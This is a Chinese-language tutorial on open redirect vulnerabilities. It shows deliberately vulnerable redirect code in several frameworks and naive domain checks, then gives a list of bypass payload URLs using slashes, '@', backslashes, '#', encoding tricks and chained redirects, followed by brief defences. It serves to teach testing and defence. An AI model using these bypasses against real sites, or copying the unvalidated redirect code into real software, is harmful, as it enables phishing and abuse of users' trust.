描述

根据 OWASP, 开放重定向出现在应用接受参数并将用户重定向到该参数值, 并且没有对该值进行任何校验的时候。

这个漏洞用于钓鱼攻击, 便于让用户无意中浏览恶意站点, 滥用给定站点的信任并将用户引导到另一个站点, 恶意站点作为重定向目的地, 可以将其准备成合法站点的样子, 并尝试收集个人或敏感信息。

漏洞场景

写代码时没有考虑过任意URL跳转漏洞,或者根本不知道/不认为这是个漏洞;
写代码时考虑不周,用取子串、取后缀等方法简单判断,代码逻辑可被绕过;
对传入参数做一些奇葩的操作(域名剪切/拼接/重组)和判断,适得其反,反被绕过;
原始语言自带的解析URL、判断域名的函数库出现逻辑漏洞或者意外特性,可被绕过;
原始语言、服务器/容器特性、浏览器等对标准URL协议解析处理等差异性导致被绕过;

漏洞通常发生在以下几个地方:

用户登录、统一身份认证处,认证完后会跳转
用户分享、收藏内容过后,会跳转
跨站点认证、授权后,会跳转
站内点击其它网址链接时,会跳转

常见的参数名:

redirect
redirect_to
redirect_url
url
jump
jump_to
target
to
link
linkto
domain

几种语句和框架版本常见的URL跳转代码如下:

Java:
response.sendRedirect(request.getParameter("url"));

PHP:
$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);

.NET:
string redirect_url = request.QueryString["url"];
Response.Redirect(redirect_url);

Django:
redirect_url = request.GET.get("url")
HttpResponseRedirect(redirect_url)

Flask:
redirect_url = request.form['url']
redirect(redirect_url)

Rails:
redirect_to params[:url]

利用方法

1. 直接跳转

没做任何限制,参数后直接跟要跳转过去的网址就行:

https://xxx.com/redirect.php?url=http://www.baidu.com/untrust.html

2. 协议一致性
当程序员校验跳转的网址协议必须为https时(有时候跳转不过去不会给提示):

https://xxx.com/redirect.php?url=https://www.baidu.com/untrust.html

3. 域名字符串检测欺骗
3.1有的程序员会检测当前的域名字符串是否在要跳转过去的字符串中,是子字符串时才会跳转,php代码如:

<?php
$redirect_url = $_GET['url'];
if(strstr($redirect_url,"xxx.com") !== false){
    header("Location: " . $redirect_url);
}
else{
    die("Forbidden");
}

绕过:

https://xxx.com/redirect.php?url=http://xxx.com.www.baidu.com/untrust.html

3.2. 还有的会检测域名结尾是不是当前域名,是的话才会跳转,Django示例代码如下:

redirect_url = request.GET.get("url")
if redirect_url.endswith('xxx.com'):
    HttpResponseRedirect(redirect_url)
else:
    HttpResponseRedirect("https://xxx.com")

绕过:

https://xxx.com/redirect.php?url=http://www.baidu.com/xxx.com

或者买个xxxxxx.com域名,然后绕过:

https://xxx.com/redirect.php?url=http://xxxxxx.com

3.3.可信站多次重定向绕过
利用已知可重定向到自己域名的可信站点的重定向,来最终重定向自己控制的站点。
一种是利用程序自己的公共白名单可信站点,如www.baidu.com,其中百度有个搜索的缓存链接比如https://www.baidu.com/linkurl=iMwwNDM6ahaxKkSFuOG,可以最终跳转到自己网站,然后测试时:

https://xxx.com/redirect.php?url=https://www.baidu.com/linkurl=iMwwNDM6ahaxKkSFuOG

就可以跳转到自己站点了。
另一种类似,但是程序的跳转白名单比较严格,只能是自己域的地址,这时需要有一个目标其它域的任意跳转漏洞,比如https://auth.xxx.com/jump.do?url=evil.com,然后测试时:

https://xxx.com/redirect.php?url=https://auth.xxx.com/jump.do?url=baidu.com

畸形地址绕过
这一部分由于各种语言、框架和代码实现的不同,防护任意跳转代码的多种多样;导致绕过方式乍看起来很诡异,有多诡异?举三个案例:
案例一:这个案例 ,通过添加多余的”/”(%2F)符号,再对”.”两次url编码成”%252E”绕过代码中对域名后”.com”的切割, 构造类似

https://xxx.com/%2Fevil%252Ecom

达到了任意URL跳转的目的。

案例二:这个案例,通过添加4个”/”前缀和”/..”后缀,构造类似

https://xxx.com/redirect.php?url=////www.baidu.com/..

进行了绕过。

案例三:这个案例,通过”\.”字符,构造类似

https://xxx.com/redirect.php?url=http://www.baidu.com\.xxx.com

进行绕过。

手工测试时,主要结合目标对输入的跳转处理和提示,根据经验来绕过;
自动化测试时,通常是根据目标和规则,事先生成payload,用工具(如burpsuite)在漏洞点处自动发包测试;
复杂的案例,在当时测试时一般有相关提示信息,不然就是自动化fuzzing出的,实际中手工bypass的难度和花费太大。
URL跳转漏洞复杂的真实例子也比较难找。黑盒测试,经常是测试成功也不能确定到底是哪里出的问题。要达到绕过效果,主要涉及以下9个特殊字符:

";", "/", "\", "?", ":", "@", "=", "&", "."

一个“协议型”的网址示例:

http://user:pass@testweb.com/path/;help.php?q=abc#lastpage

10种bypass方式:

1. 单斜线”/”绕过
https://www.xxx.com/redirect.php?url=/www.baidu.com
2. 缺少协议绕过
https://www.xxx.com/redirect.php?url=//www.baidu.com
3. 多斜线”/”前缀绕过
https://www.xxx.com/redirect.php?url=///www.baidu.com
https://www.xxx.com/redirect.php?url=////www.baidu.com
4. 利用”@”符号绕过
https://www.xxx.com/redirect.php?url=https://www.xxx.com@www.baidu.com
5. 利用反斜线”\”绕过
https://www.xxx.com/redirect.php?url=https://www.baidu.com\www.xxx.com
6. 利用”#”符号绕过
https://www.xxx.com/redirect.php?url=https://www.baidu.com#www.xxx.com
7. 利用”?”号绕过
https://www.xxx.com/redirect.php?url=https://www.baidu.com?www.xxx.com
8. 利用”\\”绕过
https://www.xxx.com/redirect.php?url=https://www.baidu.com\\www.xxx.com
9. 利用”.”绕过
https://www.xxx.com/redirect.php?url=.evil (可能会跳转到www.xxx.com.evil域名)
https://www.xxx.com/redirect.php?url=.evil.com (可能会跳转到evil.com域名)
10.重复特殊字符绕过
https://www.xxx.com/redirect.php?url=///www.baidu.com//..
https://www.xxx.com/redirect.php?url=////www.baidu.com//..

上面的方法有些是有案例,有些是别人总结的,有些是有原理依循的,比如第4条,利用”@”符号前的”www.xxx.com”是指”www.baidu.com”域的一个用户名来绕过。

其它绕过思路

跳转到IP地址,而不是域名;
跳转到IPV6地址,而不是IPv4地址;
将要跳转到的IP地址用10进制、8进制、16进制形式表示;
更换协议,使用ftp、gopher协议等;
借鉴SSRF漏洞绕过的tricks;
CRLF注入不能xss时,转向利用任意URL跳转漏洞;

防护方法

代码固定跳转地址,不让用户控制变量
跳转目标地址采用白名单映射机制
合理充分的校验校验跳转的目标地址,非己方地址时告知用户跳转风险

参考链接:

Unvalidated_Redirects_and_Forwards_Cheat_Sheet
利用URL特性绕过域名白名单检测
说下我是怎么绕过URL跳转限制的吧
URL跳转漏洞bypass小结